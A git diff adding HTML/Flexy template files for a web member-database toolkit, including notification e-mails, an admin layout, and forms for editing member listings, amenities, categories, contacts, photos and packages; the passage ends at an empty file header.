diff --git a/Toolkit/Members/templates/addYourBusinessAdminEmail.tpl b/Toolkit/Members/templates/addYourBusinessAdminEmail.tpl
new file mode 100755 (executable)
index 0000000..9cdaeb3
--- /dev/null
@@ -0,0 +1,53 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <title>New Member Notification - {member_name:h}</title>
+</head>
+<body>
+<center>
+<table cellspacing="0" cellpadding="0" bgcolor="#ffffff" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="15" border="0" bgcolor="#cccccc" width="450">
+                                       <tr bgcolor="#cccccc">
+                                               <td bgcolor="#ffffff">
+                                                       <font size="4" face="arial, sans-serif">
+                                                               <b>You have a new member</b>
+                                                       </font>
+                                                       <br><br>
+                                                       <font size="3" face="arial, sans-serif">
+                                                               <b>{member_name:h}</b> has joined {client_name:h} from your website
+                                                       </font>
+                                                       <br><br>
+                                                       {if:approval_needed}
+                                                       <font size="2" face="arial, sans-serif">
+                                                               Your approval is required to complete this process.
+                                                               <br>
+                                                               <a href="baseurl/admin/members.php?cat=2&subCat=4" target="_blank">Member administration area</a>
+                                                       </font>
+                                                       {end:}
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+               <tr>
+                       <td>
+                               <table cellspacing="0" cellpadding="15" border="0" width="450">
+                                       <tr>
+                                               <td bgcolor="#cccccc">
+                                                       <font size="1" face="arial, sans-serif">
+                                                               Please do not reply to this email, it will not go anywhere.
+                                                               <br><br>
+                                                               To ensure the delivery of these e-mails to your inbox, please add donotreply@gaslightmedia.com to your e-mail Address Book or Safe List.
+                                                       </font>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>                           
+       </table>
+</center>
+</body>
+</html>
diff --git a/Toolkit/Members/templates/addYourBusinessMemberEmail.tpl b/Toolkit/Members/templates/addYourBusinessMemberEmail.tpl
new file mode 100644 (file)
index 0000000..0e9e4a0
--- /dev/null
@@ -0,0 +1,57 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <title>Registration - {client_name:h}</title>
+</head>
+<body>
+<center>
+<table cellspacing="0" cellpadding="0" bgcolor="#ffffff" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="15" border="0" bgcolor="#cccccc" width="450">
+                                       <tr bgcolor="#cccccc">
+                                               <td bgcolor="#ffffff">
+                                                       {if:!approval_needed}
+                                                       <font size="3" face="arial, sans-serif">
+                                                               <b>Your registration is complete</b>
+                                                       </font>
+                                                       <br><br>
+                                                       <font size="2" face="arial, sans-serif">
+                                                               Dear {first_name:h},<br>
+                                                               Thanks for joining the {client_name:h} website.<br>
+                                                               Below is the username and password you selected.
+                                                               <br><br>
+                                                               Username: {username:h}
+                                                               <br>
+                                                               Password: {password:h}
+                                                               <br><br>
+                                                               Use this to <a href="{base_url:h}index.php?catid={member_category}" target="_blank">log into your members area</a>.
+                                                               <br><br>
+                                                               Sincerely,<br>
+                                                               {client_name:h}
+                                                       </font>
+                                                       {else:}
+                                                       <font size="3" face="arial, sans-serif">
+                                                               <b>Your registration is pending.</b>
+                                                       </font>                                                         
+                                                       <br><br>
+                                                       <font size="2" face="arial, sans-serif">
+                                                               Dear {first_name:h},<br>
+                                                               Thanks for joining the {client_name:h} website.
+                                                               <br><br>
+                                                               We need to approve your information first. As soon as this is done we will notify you by email.
+                                                               <br><br>
+                                                               Sincerely,<br>
+                                                               {client_name:h}
+                                                       </font>
+                                                       {end:}
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>                           
+       </table>
+</center>
+</body>
+</html>
diff --git a/Toolkit/Members/templates/admin.tpl b/Toolkit/Members/templates/admin.tpl
new file mode 100644 (file)
index 0000000..b990aba
--- /dev/null
@@ -0,0 +1,34 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>{title:h}</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+{foreach:styles,v}
+<link rel="stylesheet" type="text/css" href="{v}">
+{end:}
+{foreach:scripts,v}
+<script type="text/javascript" src="{v}"></script>
+{end:}
+</head>
+<body id="memberdb">
+       <div id="wrapper">
+               <div id="top"></div>
+               <div id="navcontainer"> {nav:h} </div>
+        <div flexy:if="breadcrumbs" id="breadcrumbs">
+            <a href="baseurl/admin/members.php?cat=2&subCat=1">
+                {listingType:h}
+            </a>
+            &gt;
+            <a href="{searchResults:h}">Search Results</a>
+        </div>
+               <div id="content"> {content:h} </div>
+       </div><!-- /#wrapper -->
+       <div id="bottom"></div>
+       <div id="copyright">
+               Copyright &copy; 2008 Gaslight Media, All Rights Reserved
+       </div>
+</body>
+</html>
diff --git a/Toolkit/Members/templates/advancedSearch.tpl b/Toolkit/Members/templates/advancedSearch.tpl
new file mode 100644 (file)
index 0000000..bb11ae3
--- /dev/null
@@ -0,0 +1,44 @@
+<div id="member-info">
+       {form.javascript:h}
+       {form.outputHeader():h}
+       {form.hidden:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+       <div id="mRow1">
+       {foreach:form.sections,sec}
+               <fieldset class="form">
+                       <legend>{sec.header}</legend>
+                       <table>
+                               {foreach:sec.elements,elem}
+                                       <tr>
+                                               <!-- CheckBoxes go here. -->
+                                               {if:elem.isType(#checkbox#)}
+                                                       <td class="labelcell"> {elem.html:h} </td>
+                                                       <td class="fieldcell"> {elem.label:h} </td>
+                                               {else:}
+                                                       <!-- All regular elements go here. -->
+                                                       <td class="labelcell">
+                                                               {if:elem.required}
+                                                                       <span class="req">*</span>
+                                                               {end:}
+                                                               {if:elem.error}<span class="req">{end:}
+                                                                       {elem.label}
+                                                               {if:elem.error}</span>{end:}
+                                                       </td>
+                                                       <td class="fieldcell">
+                                                               {if:elem.error}<div class="req">{end:}
+                                                                       {elem.error}
+                                                               {if:elem.error}</div>{end:}
+                                                               {elem.html:h}
+                                                       </td>
+                                               {end:}
+                                       </tr>
+                               {end:}
+                       </table>
+               </fieldset>
+       {end:}
+       </div>
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Search"/>
+       </div>
+</div>
diff --git a/Toolkit/Members/templates/authorizeChanges.tpl b/Toolkit/Members/templates/authorizeChanges.tpl
new file mode 100644 (file)
index 0000000..2467b32
--- /dev/null
@@ -0,0 +1,46 @@
+<div id="member-info">
+       <p class="reminder">
+               Remember to click on the Submit button on the
+               bottom of the page after doing any changes.
+       </p>
+       {form.javascript:h}
+       
+       {form.outputHeader():h}
+    {form.hidden:h}
+
+               <!-- Error or Success Message -->
+               {validated():h}
+               <div>
+            <fieldset flexy:foreach="form.sections,sec" class="form">
+                <legend>{sec.header}</legend>
+                <table class="pendingUpdates">
+                    <tbody>
+                        <tr flexy:foreach="sec.elements,elem">
+                            <td class="labelcell">
+                                {elem.label:h}
+                            </td>
+                            <td class="fieldcell updates">
+                                    <div flexy:foreach="elem.elements,gitem" class="field">{gitem.html:h}</div>
+                                <div class="authorization">
+                                    <label class="pendingUpdate" for="pmuyes{elem.name:h}">
+                                        <input type="radio" id="pmuyes{elem.name:h}"
+                                            value="yes" name="{group(elem.name):h}[{elem.name:h}]">
+                                        Accept
+                                    </label>
+                                    <label class="pendingUpdate" for="pmuno{elem.name:h}">
+                                        <input type="radio" id="pmuno{elem.name:h}"
+                                            value="no" name="{group(elem.name):h}[{elem.name:h}]">
+                                        Reject
+                                    </label>
+                                </div>
+                            </td>
+                        </tr>
+                    </tbody>
+                </table>
+            </fieldset>
+               </div>
+               <div class="submitArea">
+                       <input type="submit" class="submit" value="Submit">
+               </div>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/currentTables/Element.tpl b/Toolkit/Members/templates/currentTables/Element.tpl
new file mode 100644 (file)
index 0000000..595457b
--- /dev/null
@@ -0,0 +1,14 @@
+<tr>
+       <td class="labelcell">
+               <!-- BEGIN required -->
+               <span class="req">*</span>
+               <!-- END required -->
+               <label>{label}</label>
+       </td>
+       <td class="fieldcell">
+               <!-- BEGIN error -->
+               <div class="req"> {error} </div>
+               <!-- END error -->
+               {element}
+       </td>
+</tr>
diff --git a/Toolkit/Members/templates/currentTables/Form.tpl b/Toolkit/Members/templates/currentTables/Form.tpl
new file mode 100644 (file)
index 0000000..f59286a
--- /dev/null
@@ -0,0 +1,7 @@
+<div id="contact">
+       <form{attributes}>
+               <table>
+                       {content}
+               </table>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/currentTables/Group.tpl b/Toolkit/Members/templates/currentTables/Group.tpl
new file mode 100644 (file)
index 0000000..cdd24cf
--- /dev/null
@@ -0,0 +1,5 @@
+<table class="group">
+       <tbody>
+               {content}
+       </tbody>
+</table>
diff --git a/Toolkit/Members/templates/currentTables/GroupElement.tpl b/Toolkit/Members/templates/currentTables/GroupElement.tpl
new file mode 100644 (file)
index 0000000..1a4ba27
--- /dev/null
@@ -0,0 +1,9 @@
+<tr>
+       <td>
+               {element}
+               <!-- BEGIN required -->
+               <span class="req">*</span>
+               <!-- END required -->
+               {label}
+       </td>
+</tr>
diff --git a/Toolkit/Members/templates/currentTables/Header.tpl b/Toolkit/Members/templates/currentTables/Header.tpl
new file mode 100644 (file)
index 0000000..64ac244
--- /dev/null
@@ -0,0 +1,5 @@
+<tr class="hdr">
+       <td colspan="2">
+               {header}
+       </td>
+</tr>
diff --git a/Toolkit/Members/templates/currentTables/RequiredNote.tpl b/Toolkit/Members/templates/currentTables/RequiredNote.tpl
new file mode 100644 (file)
index 0000000..525ef33
--- /dev/null
@@ -0,0 +1 @@
+<span class="req">*</span> Denotes required field
diff --git a/Toolkit/Members/templates/editAmenities.tpl b/Toolkit/Members/templates/editAmenities.tpl
new file mode 100644 (file)
index 0000000..bc6d893
--- /dev/null
@@ -0,0 +1,42 @@
+<div id="nav-detail"> {nav:h} </div>
+<div id="member-info">
+       {if:pending}
+               <div class="pending pendingMsg">
+                       The yellow colored items are pending approval from the website
+                       administrator.<br>Upon approval, your changes will be visible on
+                       the website.
+               </div>
+       {end:}
+       {form.javascript:h}
+       
+       {form.outputHeader():h}
+       {form.hidden:h}
+
+       <!-- Error or Success Message -->
+       {validated():h}
+       <h1>Edit Amenities</h1>
+       <p>
+               Check off any available amenities and click
+               the submit button on the bottom of the page.
+       </p>
+       {foreach:form.sections,sec}
+               <ul class="amenityList">
+                       {foreach:sec.elements,elem}
+                               {if:fieldPending(elem)}
+                                       <li class="fieldPending">
+                               {else:}
+                                       <li>
+                               {end:}
+                                       <label>
+                                               {elem.html:h}
+                                               {elem.label:h}
+                                       </label>
+                               </li>
+                       {end:}
+               </ul>
+       {end:}
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Submit Changes">
+       </div>
+    </form>
+</div>
diff --git a/Toolkit/Members/templates/editAmenity.tpl b/Toolkit/Members/templates/editAmenity.tpl
new file mode 100644 (file)
index 0000000..bbea016
--- /dev/null
@@ -0,0 +1,42 @@
+<div id="member-info">
+       {form.javascript:h}
+       {form.outputHeader():h}
+       {form.hidden:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+       <div id="mRow1">
+               <fieldset flexy:foreach="form.sections,sec" class="form">
+                       <legend>{sec.header}</legend>
+                       <table>
+                <tr flexy:foreach="sec.elements,elem">
+                    <!-- CheckBoxes go here. -->
+                    {if:elem.isType(#checkbox#)}
+                        <td class="labelcell"> {elem.html:h} </td>
+                        <td class="fieldcell"> {elem.label:h} </td>
+                    {else:}
+                        <!-- All regular elements go here. -->
+                        <td class="labelcell">
+                            <span flexy:if="elem.required" class="req">*</span>
+                            {if:elem.error}<span class="req">{end:}
+                                {elem.label}
+                            {if:elem.error}</span>{end:}
+                        </td>
+                        <td class="fieldcell">
+                            <div flexy:if="elem.error" class="req">
+                                {elem.error}
+                            </div>
+                            {elem.html:h}
+                        </td>
+                    {end:}
+                </tr>
+                       </table>
+               </fieldset>
+       </div>
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Save Amenity">
+               {if:isEdit()}
+                       <input type="submit" name="delete" class="submit" value="Remove Amenity">
+               {end:}
+       </div>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/editCategory.tpl b/Toolkit/Members/templates/editCategory.tpl
new file mode 100644 (file)
index 0000000..0ec0eba
--- /dev/null
@@ -0,0 +1,42 @@
+<div id="member-info">
+       {form.javascript:h}
+       {form.outputHeader():h}
+       {form.hidden:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+       <div id="mRow1">
+               <fieldset flexy:foreach="form.sections,sec" class="form">
+                       <legend>{sec.header}</legend>
+                       <table>
+                                       <tr flexy:foreach="sec.elements,elem">
+                                               <!-- CheckBoxes go here. -->
+                                               {if:elem.isType(#checkbox#)}
+                                                       <td class="labelcell"> {elem.html:h} </td>
+                                                       <td class="fieldcell"> {elem.label:h} </td>
+                                               {else:}
+                                                       <!-- All regular elements go here. -->
+                                                       <td class="labelcell">
+                                <span flexy:if="elem.required" class="req">*</span>
+                                                               {if:elem.error}<span class="req">{end:}
+                                                                       {elem.label}
+                                                               {if:elem.error}</span>{end:}
+                                                       </td>
+                                                       <td class="fieldcell">
+                                                               <span flexy:if="elem.error" class="req">
+                                                                       {elem.error}
+                                                               </span>
+                                                               {elem.html:h}
+                                                       </td>
+                        {end:}
+                                       </tr>
+                       </table>
+               </fieldset>
+       </div>
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Save Category">
+        {if:isEdit()}
+        <input type="submit" name="delete" class="submit" value="Remove Category">
+        {end:}
+       </div>
+    </form>
+</div>
diff --git a/Toolkit/Members/templates/editCity.tpl b/Toolkit/Members/templates/editCity.tpl
new file mode 100644 (file)
index 0000000..f4e975f
--- /dev/null
@@ -0,0 +1,42 @@
+<div id="member-info">
+       {form.javascript:h}
+       {form.outputHeader():h}
+       {form.hidden:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+       <div id="mRow1">
+               <fieldset flexy:foreach="form.sections,sec" class="form">
+                       <legend>{sec.header}</legend>
+                       <table>
+                <tr flexy:foreach="sec.elements,elem">
+                    <!-- CheckBoxes go here. -->
+                    {if:elem.isType(#checkbox#)}
+                        <td class="labelcell"> {elem.html:h} </td>
+                        <td class="fieldcell"> {elem.label:h} </td>
+                    {else:}
+                        <!-- All regular elements go here. -->
+                        <td class="labelcell">
+                            <span flexy:if="elem.required" class="req">*</span>
+                            {if:elem.error}<span class="req">{end:}
+                                {elem.label}
+                            {if:elem.error}</span>{end:}
+                        </td>
+                        <td class="fieldcell">
+                            <div flexy:if="elem.error" class="req">
+                                {elem.error}
+                            </div>
+                            {elem.html:h}
+                        </td>
+                    {end:}
+                </tr>
+                       </table>
+               </fieldset>
+       </div>
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Save City">
+               {if:isEdit()}
+                       <input type="submit" name="delete" class="submit" value="Remove City">
+               {end:}
+       </div>
+    </form>
+</div>
diff --git a/Toolkit/Members/templates/editContacts.tpl b/Toolkit/Members/templates/editContacts.tpl
new file mode 100644 (file)
index 0000000..0fb20fe
--- /dev/null
@@ -0,0 +1,56 @@
+<div id="nav-detail"> {nav:h} </div>
+<div id="member-info">
+       <h1>Contacts</h1>
+       {form.javascript:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+       {foreach:form.sections,k,sec}
+               {if:isForm(k)}
+                       <fieldset class="form">
+                               <table>
+                                       <tbody>
+                                               {form.outputHeader():h}
+                                               {form.hidden:h}
+                                                       <input type="hidden" name="target" value="{k}">
+                            <tr flexy:foreach="sec.elements,elem">
+                                <td class="labelcell"> 
+                                    <span flexy:if="elem.required" class="req">*</span>
+                                    {if:elem.error}<span class="req">{end:}
+                                        {elem.label:h}
+                                    {if:elem.error}</span>{end:}
+                                </td>
+                                <td class="fieldcell">
+                                    <span flexy:if="elem.error" class="req">
+                                        {elem.error}
+                                    </span>
+                                    {elem.html:h}
+                                </td>
+                            </tr>
+                                               </form>
+                                       </tbody>
+                               </table>
+                       </fieldset>
+               {else:}
+                       <div class="contactList">
+                               <a class="remove" href="{getDelUrl(sec):h}">
+                    <img width="24" height="24" title="Delete Contact" src="{getImgUrl(#remove.png#):h}" alt="remove" >
+                </a>
+                               {foreach:sec.elements,elem}
+                    <h3 flexy:if="isName(elem.name)">
+                        <a href="{getEditUrl(sec):h}">{elem.html:h}</a>
+                    </h3>
+                    <div flexy:if="isTitle(elem.name)" class="title">
+                        {elem.html:h}
+                    </div>
+                    <div flexy:if="isPhone(elem.name)" class="phone">
+                        {elem.html:h}
+                    </div>
+                    <a flexy:if="isEmail(elem.name)" class="email" href="mailto:{elem.html:h}">
+                        {elem.html:h}
+                    </a>
+                               {end:}
+                               {getMailIcon(sec):h}
+                       </div>
+               {end:}<!-- isForm(k) -->
+       {end:}
+</div><!-- /#member-info -->
diff --git a/Toolkit/Members/templates/editFile.tpl b/Toolkit/Members/templates/editFile.tpl
new file mode 100644 (file)
index 0000000..21efdc9
--- /dev/null
@@ -0,0 +1,45 @@
+<div id="nav-detail"> {nav:h} </div>
+<div id="member-info">
+       {if:pending}
+               <div class="pending pendingMsg">
+                       The yellow colored items are pending approval from the website
+                       administrator.<br>Upon approval, your changes will be visible on
+                       the website.
+               </div>
+       {end:}
+       <h1>Files</h1>
+       {form.javascript:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+    <div flexy:foreach="form.sections,k,sec" class="photoItem FileItem {pendingClass(k)}">
+        {form.outputHeader():h}
+        {form.hidden:h}
+            <!--
+                Check to see if the first element is an image.
+                If it is, then we need to output before the photoOptions
+                div
+            -->
+            {if:showFile(sec.elements[0])}
+                {sec.elements[0].html:h}
+            {end:}
+            <div class="photoOptions fileOptions">
+                {foreach:sec.elements,elem}
+                    <!--
+                        since we already output the image, if the current
+                        element is anything but an image, then show it.
+                        Otherwise, skip the image.
+                    -->
+                    {if:!elem.isType(#static#)}
+                        {if:elem.isType(#text#)}
+                            <i> {elem.label} </i>
+                        {end:}
+                        <div flexy:if="elem.error" class="req">
+                            {elem.error:h}
+                        </div>
+                        {elem.html:h}
+                    {end:}
+                {end:}
+            </div><!-- /.photoOptions -->
+        </form>
+    </div><!-- /.photoItem -->
+</div><!-- /#member-info -->
diff --git a/Toolkit/Members/templates/editHtmlEmail.tpl b/Toolkit/Members/templates/editHtmlEmail.tpl
new file mode 100644 (file)
index 0000000..0c6feef
--- /dev/null
@@ -0,0 +1,42 @@
+<div id="member-info">
+       {form.javascript:h}
+       {form.outputHeader():h}
+       {form.hidden:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+       <div id="mRow1">
+               <fieldset flexy:foreach="form.sections,sec" class="form">
+                       <legend>{sec.header}</legend>
+                       <table>
+                <tr flexy:foreach="sec.elements,elem">
+                    <!-- CheckBoxes go here. -->
+                    {if:elem.isType(#checkbox#)}
+                        <td class="labelcell"> {elem.html:h} </td>
+                        <td class="fieldcell"> {elem.label:h} </td>
+                    {else:}
+                        <!-- All regular elements go here. -->
+                        <td class="labelcell">
+                            <span flexy:if="elem.required" class="req">*</span>
+                            {if:elem.error}<span class="req">{end:}
+                                {elem.label}
+                            {if:elem.error}</span>{end:}
+                        </td>
+                        <td class="fieldcell">
+                            <div flexy:if="elem.error" class="req">
+                                {elem.error}
+                            </div>
+                            {elem.html:h}
+                        </td>
+                    {end:}
+                </tr>
+                       </table>
+               </fieldset>
+       </div>
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Save Html Email">
+               {if:isEdit()}
+                       <input type="submit" name="delete" class="submit" value="Remove Html Email">
+               {end:}
+       </div>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/editMember.tpl b/Toolkit/Members/templates/editMember.tpl
new file mode 100644 (file)
index 0000000..e5b65c4
--- /dev/null
@@ -0,0 +1,142 @@
+<div id="nav-detail"> {nav:h} </div>
+<div id="member-info">
+       <div flexy:if="pending" class="pending pendingMsg">
+               The yellow colored items are pending approval from the website
+               administrator.<br>Upon approval, your changes will be visible on
+               the website.
+       </div>
+       <p class="reminder">
+               Remember to click on the Submit button on the
+               bottom of the page after doing any changes.
+       </p>
+       {form.javascript:h}
+       {form.outputHeader():h}
+       {form.hidden:h}
+
+       <!-- Error or Success Message -->
+       {validated():h}
+       <div id="mRow1">
+       {foreach:form.sections,sec}
+               {if:newColumn(sec.header)}
+                       </div>
+                       <div id="mRow2">
+               {end:}
+                       {if:inColumn2(sec.header)}
+                               <fieldset class="form formNarrow">
+                       {else:}
+                               <fieldset class="form">
+                       {end:}<!-- /inColumn2 -->
+                       <legend>
+                {sec.header}
+            </legend>
+            <?php if ($sec->header == 'Street Address') :?>
+            <a class="thickbox addr_help" href="baseurl/Toolkit/Members/addressHelp.html?KeepThis=true&TB_ifram=true&height=400&width=600">Need help with my address</a>
+            <?php endif;?>
+                       <table>
+                               {foreach:sec.elements,elem}
+                                       {if:fieldPending(elem)}
+                                               <tr class="fieldPending">
+                                       {else:}
+                                               <tr>
+                                       {end:}
+                                               {if:elem.isType(#textarea#)}
+                                                       <td> 
+                                <div flexy:if="elem.error" class="req">
+                                    {elem.error:h}
+                                </div>
+                                {elem.html:h}
+                            </td>
+                                               {else:}
+                                                       <!-- CheckBoxes go here. -->
+                                                       {if:elem.isType(#checkbox#)}
+                                {if:elem.isName(#active#)}
+                                    <td class="labelcell"> {elem.label:h} </td>
+                                    <td class="fieldcell active_field"> {elem.html:h} </td>
+                                {else:}
+                                    <td class="labelcell"> {elem.html:h} </td>
+                                    <td class="fieldcell"> {elem.label:h} </td>
+                                {end:}
+                                                       {else:}
+                                                               <!-- Grouped Elements go here. -->
+                                                               {if:elem.isType(#group#)}
+                                                                       <td class="labelcell">
+                                                                               {if:elem.error}<span class="req">{end:}
+                                                                                       {elem.label:h}
+                                                                               {if:elem.error}</span>{end:}
+                                                                       </td>
+                                                                       <td class="fieldcell">
+                                        <div flexy:if="elem.error" class="req">
+                                            {elem.error:h}
+                                        </div>
+                                                                               {foreach:elem.elements,gitem} 
+                                                                                       {if:elem.isName(#city#)}
+                                                                                       <small>{gitem.label:h}</small><br>
+                                                                                       {end:}
+                                                                                       {gitem.html:h}
+                                                                                       {if:elem.separator}{elem.separator:h}{end:}
+                                                                               {end:} 
+                                                                       </td>
+                                                               {else:}
+                                                                       <!-- All regular elements go here. -->
+                                                                       <td class="labelcell">
+                                                                               <span class="req" flexy:if="elem.required">*</span>
+                                                                               {if:elem.error}<span class="req">{end:}
+                                                                                       {elem.label}
+                                                                               {if:elem.error}</span>{end:}
+                                                                       </td>
+                                                                       <td class="fieldcell">
+                                        <div flexy:if="elem.error" class="req">
+                                            {elem.error:h}
+                                        </div>
+                                                                               {if:addInfoElement(elem.name)}
+                                            {if:elem.isName(#street#)}
+                                            <?php
+                                                $head = 'Additional Information';
+                                                $body = 'Enter an actual street address to
+                                                calculate driving directions.
+                                                Do not use a P.O. Box.';
+                                            ?>
+                                            {end:}
+                                            {if:elem.isName(#member_contact_email#)}
+                                            <?php
+                                                $head = 'Additional Information';
+                                                $body = 'Enter the email address for the
+                                                business you would like visitors
+                                                to see.';
+                                            ?>
+                                            {end:}
+                                                                                       <a>
+                                                <span class="tooltip" title="<?php echo $head . '`' . $body;?>">
+                                                                                               <img class="info" width="16" height="16"
+                                                                                                       title="" alt=""
+                                                                                                       src="baseurl/assets/information.png">
+                                                </span>
+                                                                               {end:}
+                                                                               <!-- we need the i tags for the category elements. -->
+                                                                               {if:elem.isName(#member_cats[]#)}
+                                                                                       {showCategories():h}
+                                                                                       <i>
+                                                                               {end:}
+                                                                               {elem.html:h}
+                                                                               <!-- we need the i tags for the category elements. -->
+                                                                               {if:isCategory(elem.label)}
+                                                                                       </i>
+                                                                               {end:}
+                                                                               {if:addInfoElement(elem.label)}
+                                                                                       </a>
+                                                                               {end:}
+                                                                       </td>
+                                                               {end:}<!-- /isType(#group#) -->
+                                                       {end:}<!-- /isType(#checkbox#) -->
+                                               {end:}<!-- /isType(#textarea#) -->
+                                       </tr>
+                               {end:}<!-- /foreach() -->
+                       </table>
+               </fieldset>
+       {end:}<!-- /newColumn() -->
+       </div>
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Submit Changes">
+       </div>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/editPackage.tpl b/Toolkit/Members/templates/editPackage.tpl
new file mode 100644 (file)
index 0000000..712206a
--- /dev/null
@@ -0,0 +1,44 @@
+<div class="packageItem packageUploadForm">
+       {form.javascript:h}
+       {form.outputHeader():h}
+    {form.hidden:h}
+               <div class="packageText">
+            <i>{form.title.label:h}</i>
+            <div flexy:if="form.title.error" class="req">{form.title.error:h}</div>
+            {form.title.html:h}
+            <i>{form.description.label:h}</i>
+            <div flexy:if="form.description.error" class="req">{form.description.error:h}</div>
+            {form.description.html:h}
+            <i>
+                <span class="req" flexy:if="form.sdate.required">*</span>
+                {form.sdate.label:h}
+            </i>
+            <div flexy:if="form.sdate.error" class="req">{form.sdate.error:h}</div>
+            {form.sdate.html:h}
+            <i>
+                <span class="req" flexy:if="form.edate.required">*</span>
+                {form.edate.label:h}
+            </i>
+            <div flexy:if="form.edate.error" class="req">{form.edate.error:h}</div>
+            {form.edate.html:h}
+        </div>
+        <div class="packagePhoto">
+            <div flexy:if="showCurrImg">
+                <label>
+                    {form.remove_img_rmv.html:h}
+                    {form.remove_img_rmv.label:h}
+                </label>
+                
+                <i>{form.curr_image.label:h}</i>
+                {form.curr_image.html:h}
+            </div>
+            <i>{form.image.label:h}</i>
+            <div flexy:if="form.image.error" class="req">{form.image.error:h}</div>
+            {form.image.html:h}
+        </div>
+        <div class="submitArea">
+            {form.add_rmv.html:h}
+            {form.remove_rmv.html:h}
+        </div>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/editPackages.tpl b/Toolkit/Members/templates/editPackages.tpl
new file mode 100644 (file)
index 0000000..a3f41c3
--- /dev/null
@@ -0,0 +1,27 @@
+<style type="text/css">
+.ui-state-highlight {
+       border: 3px dashed #666666;
+       height: 1%;
+       margin-top: 1em;
+       overflow: hidden;
+       padding: 28px 18px 18px 28px;
+       position: relative;
+}
+</style>
+<div id="nav-detail"> {nav:h} </div>
+<div id="member-info">
+       {if:hasPendingPackages}
+               <div class="pending pendingMsg">
+                       The yellow colored items are pending approval from the website
+                       administrator.<br>Upon approval, your changes will be visible on
+                       the website.
+               </div>
+       {end:}
+       <h1>Packages</h1>
+       {uploadForm:h}
+       <div id="packageList" class="container">
+       {foreach:editForm,i}
+               {i:h}
+       {end:}
+       </div>
+</div><!-- /#member-info -->
diff --git a/Toolkit/Members/templates/editPhoto.tpl b/Toolkit/Members/templates/editPhoto.tpl
new file mode 100644 (file)
index 0000000..c71b76e
--- /dev/null
@@ -0,0 +1,24 @@
+{if:pending}
+<div id="photos_{photoId}" class="pending photoItem">
+{else:}
+<div id="photos_{photoId}" class="photoItem">
+{end:}
+       {form.javascript:h}
+       {form.outputHeader():h}
+               {form.hidden:h}
+               <div>
+                       <img class="thumb" alt="{img_alt:h}" src="{img_src:h}">
+               </div>
+               <div class="photoOptions">
+                       <i>{form.caption.label:h}</i>
+                       <div flexy:if="form.caption.error" class="req">{form.caption.error:h}</div>
+                       {form.caption.html:h}
+                       <div class="position">
+                               {form.pos.label:h}
+                               {form.pos.html:h}
+                       </div>
+                       {form.update.html:h}
+                       {form.delete.html:h}
+               </div>
+       </form>
+</div>
diff --git a/Toolkit/Members/templates/editPhotoGallery.tpl b/Toolkit/Members/templates/editPhotoGallery.tpl
new file mode 100644 (file)
index 0000000..0cae10a
--- /dev/null
@@ -0,0 +1,27 @@
+<style type="text/css">
+.ui-state-highlight {
+       border: 3px dashed #666666;
+       height: 1%;
+       margin-top: 1em;
+       overflow: hidden;
+       padding: 28px 18px 18px 28px;
+       position: relative;
+}
+</style>
+<div id="nav-detail"> {nav:h} </div>
+<div id="member-info">
+       {if:hasPendingPhotos}
+               <div class="pending pendingMsg">
+                       The yellow colored items are pending approval from the website
+                       administrator.<br>Upon approval, your changes will be visible on
+                       the website.
+               </div>
+       {end:}
+       <h1>Photos</h1>
+       {uploadForm:h}
+       <div id="photoList" class="container">
+       {foreach:editForms,i}
+               {i:h}
+       {end:}
+       </div>
+</div><!-- /#member-info -->
diff --git a/Toolkit/Members/templates/editRegion.tpl b/Toolkit/Members/templates/editRegion.tpl
new file mode 100644 (file)
index 0000000..5e35a1b
--- /dev/null
@@ -0,0 +1,36 @@
+<div id="member-info">
+       {form.javascript:h}
+       {form.outputHeader():h}
+       {form.hidden:h}
+       <!-- Error or Success Message -->
+       {validated():h}
+       <div id="mRow1">
+               <fieldset flexy:foreach="form.sections,sec" class="form">
+                       <legend>{sec.header}</legend>
+                       <table>
+                <tr flexy:foreach="sec.elements,elem">
+                    <!-- All regular elements go here. -->
+                    <td class="labelcell">
+                        <span flexy:if="elem.required" class="req">*</span>
+                        {if:elem.error}<span class="req">{end:}
+                            {elem.label}
+                        {if:elem.error}</span>{end:}
+                    </td>
+                    <td class="fieldcell">
+                        <span flexy:if="elem.error" class="req">
+                            {elem.error}
+                        </span>
+                        {elem.html:h}
+                    </td>
+                </tr>
+                       </table>
+               </fieldset>
+       </div>
+       <div class="submitArea">
+               <input type="submit" class="submit" value="Save Region">
+               {if:isEdit()}
+                       <input type="submit" name="delete" class="submit" value="Remove Region">
+               {end:}
+       </div>
+    </form>
+</div>
diff --git a/Toolkit/Members/templates/emailOwner.tpl b/Toolkit/Members/templates/emailOwner.tpl
new file mode 100644 (file)
index 0000000..c02814e
